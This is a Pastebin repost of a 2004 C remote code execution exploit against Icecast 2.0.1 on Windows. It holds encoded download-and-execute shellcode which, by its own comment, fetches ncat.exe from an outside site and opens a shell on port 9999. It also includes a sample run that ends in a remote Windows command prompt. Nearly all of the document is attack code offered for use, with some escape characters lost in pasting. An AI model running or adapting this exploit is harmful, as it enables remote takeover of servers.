Advertisement
mobat0x00

568.c

May 31st, 2021
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.50 KB | None | 0 0
  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. Shellcode add-on by Delikon
  6. www.Delikon.de
  7.  
  8. Because of all the forbidden bytes in a http get request
  9. i had to use a very small shellcode, which was blown up
  10. by Msf::Encoder::PexAlphaNum. Great encoder.
  11. -------------------------------------------------------------------------
  12. C:>iceexec 127.0.0.1
  13.  
  14. Icecast <= 2.0.1 Win32 remote code execution 0.1
  15. by Luigi Auriemma
  16. web:http://aluigi.altervista.org
  17.  
  18. shellcode add-on by Delikon
  19. www.delikon.de
  20.  
  21. - target 127.0.0.1:8000
  22. - send malformed data
  23.  
  24. Server IS vulnerable!!!
  25.  
  26.  
  27. C:>nc 127.0.0.1 9999
  28. Microsoft Windows XP [Version 5.1.2600]
  29. (C) Copyright 1985-2001 Microsoft Corp.
  30.  
  31. C:Icecast2 Win32>
  32. ---------------------------------------------------------------------------
  33.  
  34.  
  35. */
  36.  
  37. #include <stdio.h>
  38. #include <stdlib.h>
  39. #include <string.h>
  40.  
  41. #ifdef WIN32
  42. #pragma comment(lib, "ws2_32.lib")
  43.     #include <winsock.h>
  44.     #include "winerr.h"
  45.  
  46.     #define close closesocket
  47. #else
  48. //    #include <winsock.h>
  49.     #include <unistd.h>
  50.     #include <sys/socket.h>
  51.     #include <sys/types.h>
  52.     #include <arpa/inet.h>
  53.     #include <netdb.h>
  54.     #include <netinet/in.h>
  55.     #include <sys/time.h>   //new
  56. #endif
  57.  
  58. #define WIN32_LEAN_AND_MEAN   //new
  59.  
  60. #define VER "0.1"
  61. #define PORT 8000
  62. #define BUFFSZ 2048 //
  63. #define TIMEOUT 3
  64. #define EXEC "GET / HTTP/1.0rn"\
  65.                 "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  66.                 "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  67.                 "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  68.                 "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  69.                 "xcc"
  70. //web download and execution shellcode
  71. //which downloads http://www.elitehaven.net/ncat.exe
  72. //this ncat spwans a shell on port 9999
  73. char shellcode[] = "xEB"
  74. "x03x59xEBx05xE8xF8xFFxFFxFFx4Fx49x49x49x49x49x49x51x5Ax56x54"
  75. "x58x36x33x30x56x58x34x41x30x42x36x48x48x30x42x33x30x42x43x56"
  76. "x58x32x42x44x42x48x34x41x32x41x44x30x41x44x54x42x44x51x42x30"
  77. "x41x44x41x56x58x34x5Ax38x42x44x4Ax4Fx4Dx49x4Ex4Ex4Cx42x30x42"
  78. "x50x42x50x4Fx35x4Ax4Ex48x55x42x50x42x30x42x50x49x48x43x4Cx42"
  79. "x45x4Ax46x50x58x50x34x50x50x4Ex4Ex4Ax4Ex42x36x42x50x42x30x42"
  80. "x30x41x43x49x4Cx48x56x49x4Bx4Fx36x50x46x41x55x4Ax56x45x57x44"
  81. "x57x4Ex36x4Dx46x46x55x4Fx4Fx42x4Dx42x45x4Ax46x48x43x4Cx41x4F"
  82. "x32x42x57x4Ax4Ex48x44x42x50x42x30x42x30x41x43x49x4Cx41x55x41"
  83. "x35x4Dx48x47x53x48x55x4Dx38x47x47x4Ax50x48x35x41x35x4Fx4Fx42"
  84. "x4Dx43x55x4Ax56x4Ax59x50x4Fx4Cx38x50x30x4Ax4Ex4Dx32x42x50x42"
  85. "x30x42x30x41x55x47x35x4Fx4Fx42x4Dx41x53x49x4Cx49x34x44x4Ex50"
  86. "x4Fx43x35x4Ax46x50x37x4Ax4Dx44x4Ex43x47x4Ax4Ex49x41x42x30x42"
  87. "x50x42x30x4Fx4Fx42x4Dx45x55x48x55x46x46x41x4Ax42x53x42x30x42"
  88. "x30x42x30x4Bx48x42x44x4Ex30x4Bx58x42x37x4Ex51x4Dx4Ax4Bx48x4A"
  89. "x56x4Ax30x49x58x4Ax4Ex50x45x4Dx55x43x4Cx43x35x45x45x48x55x47"
  90. "x35x4Bx48x4Ex46x46x42x4Ax31x4Bx58x45x54x4Ex33x4Bx58x46x35x45"
  91. "x30x4Ax57x41x50x4Cx4Ex4Bx38x4Cx34x4Ax41x4Bx58x4Cx55x42x52x41"
  92. "x50x4Bx4Ex43x4Ex45x43x49x54x4Bx48x46x53x4Bx48x41x50x50x4Ex41"
  93. "x53x4Fx4Fx4Ex4Fx41x43x42x4Cx4Ex4Ax4Ax43x42x4Ex46x37x47x50x41"
  94. "x4Cx4Fx4Cx4Dx50x41x30x47x4Cx4Bx4Ex44x4Fx4Bx33x4Ex37x46x52x46"
  95. "x51x45x47x41x4Ex4Bx48x4Cx35x46x42x41x50x4Bx4Ex48x56x4Bx58x4E"
  96. "x50x4Bx44x4Bx58x4Cx55x4Ex31x41x30x4Bx4Ex4Bx48x46x50x4Bx58x41"
  97. "x30x4Ax4Ex49x4Ex44x30x42x50x42x50x42x50x41x53x42x4Cx49x58x4C"
  98. "x4Ex4Fx55x50x35x4Dx45x4Bx55x43x4Cx4Ax4Ex4Fx42x4Fx4Fx4Fx4Fx4F"
  99. "x4Fx4Dx36x4Ax46x4Ax56x50x52x45x56x4Ax57x45x46x42x30x4Ax56x46"
  100. "x47x46x57x42x57x4Cx43x4Fx42x4Fx32x47x47x47x47x47x47x50x42x45"
  101. "x36x4Ex56x49x36x46x57x45x56x4Ax36x41x36x48x57x45x36x50x56x50"
  102. "x32x50x46x45x36x46x47x4Fx42x50x46x43x36x41x56x46x37x50x32x45"
  103. "x36x4Ax37x45x46x42x50x5A";
  104.  
  105.  
  106. /*
  107. in my example 0xcc is used to interrupt the code execution, you must
  108. put your shellcode exactly there.
  109. You don't need to call a shellcode offset (CALL ESP, JMP ESP and so
  110. on) or doing any other annoying operation because the code flow
  111. points directly there!!!
  112. Cool and easy 8-)
  113. */
  114.  
  115.  
  116.  
  117. #ifdef WIN32
  118. int startWinsock(void)
  119. {
  120.   WSADATA wsa;
  121.   return WSAStartup(MAKEWORD(2,0),&wsa);
  122. }
  123. #endif
  124.  
  125.  
  126. int timeout(int sock);  //
  127.  
  128.  
  129. __u_long resolv(char *host);   //
  130.  
  131.  
  132.  
  133. void std_err(void);
  134.  
  135. int main(int argc, char *argv[]) {
  136.     struct sockaddr_in peer;    //
  137.     int sd;
  138.     __u_short port = PORT;  //
  139.     __u_char buff[BUFFSZ];   //
  140.  
  141.  char buf[4096];  //
  142.  char *pointer=NULL;  //
  143.  
  144.  
  145.     setbuf(stdout, NULL);
  146.  
  147. //    fputs("\n"
  148. //        "Icecast <= 2.0.1 Win32 remote code execution  
  149. //        "by Luigi Auriemman\n"
  150. //        "e-mail: [email protected]"
  151. //        "web:http://aluigi.altervista.orgn"
  152. //  "nshellcode add-on by Delikonn"
  153. //  "www.delikon.de"
  154. //        "n", stdout);
  155.  
  156.     if(argc < 2) {
  157.         printf("Usage: %s <server> [port(%d)]\n", argv[0], PORT);
  158.         exit(1);
  159.     }
  160.  
  161. #ifdef WIN32
  162.  
  163.     startWinsock();
  164. #endif
  165.  
  166.     if(argc > 2) port = atoi(argv[2]);
  167.  
  168.     peer.sin_addr.s_addr = resolv(argv[1]);
  169.     peer.sin_port= htons(port);
  170.     peer.sin_family= AF_INET;
  171.  
  172.     memset(buf,0x00,sizeof(buf));
  173.     strcpy(buf,EXEC);
  174.    
  175. pointer =strrchr(buf,0xcc);
  176.  
  177. strcpy(pointer,shellcode);
  178.  
  179. strcat(buf,"rn");
  180. strcat(buf,"rn");
  181.    
  182.  
  183.     printf("n- target %s:%hun",
  184.         inet_ntoa(peer.sin_addr), port);
  185.  
  186.     sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  187.     if(sd < 0) std_err();
  188.  
  189.     if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
  190.       < 0) std_err();
  191.  
  192.     fputs("- send malformed datan", stdout);
  193.     if(send(sd, buf, strlen(buf), 0)
  194.       < 0) std_err();
  195.  
  196.     if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) < 0)) {      //
  197.         fputs("nServer IS vulnerable!!!nn", stdout);
  198.     } else {
  199.         fputs("nServer doesn't seem vulnerablenn", stdout);
  200.     }
  201.  
  202.     close(sd);
  203.     return(0);
  204. }
  205.  
  206. int timeout(int sock) {
  207.     struct timeval tout;   //
  208.     fd_set fd_read;      //
  209.     int err;
  210.  
  211.     tout.tv_sec = TIMEOUT;
  212.     tout.tv_usec = 0;
  213.     FD_ZERO(&fd_read);
  214.     FD_SET(sock, &fd_read);
  215.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  216.     if(err < 0) std_err();
  217.     if(!err) return(-1);
  218.     return(0);
  219. }
  220.  
  221. __u_long resolv(char *host) {    //
  222.     struct hostent *hp;
  223.     __u_long host_ip;      //
  224.  
  225.     host_ip = inet_addr(host);
  226.     if(host_ip == INADDR_NONE) {
  227.         hp = gethostbyname(host);
  228.         if(!hp) {
  229.             printf("nError: Unable to resolve hostname (%s)n", host);
  230.             exit(1);
  231.         } else host_ip = *(__u_long *)(hp->h_addr_list[0]);   //
  232.     }
  233.     return(host_ip);
  234. }
  235.  
  236. #ifndef WIN32
  237.     void std_err(void) {
  238.         perror("nError");
  239.         exit(1);
  240.     }
  241. #endif
  242.  
  243. // milw0rm.com [2004-10-06]
  244.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement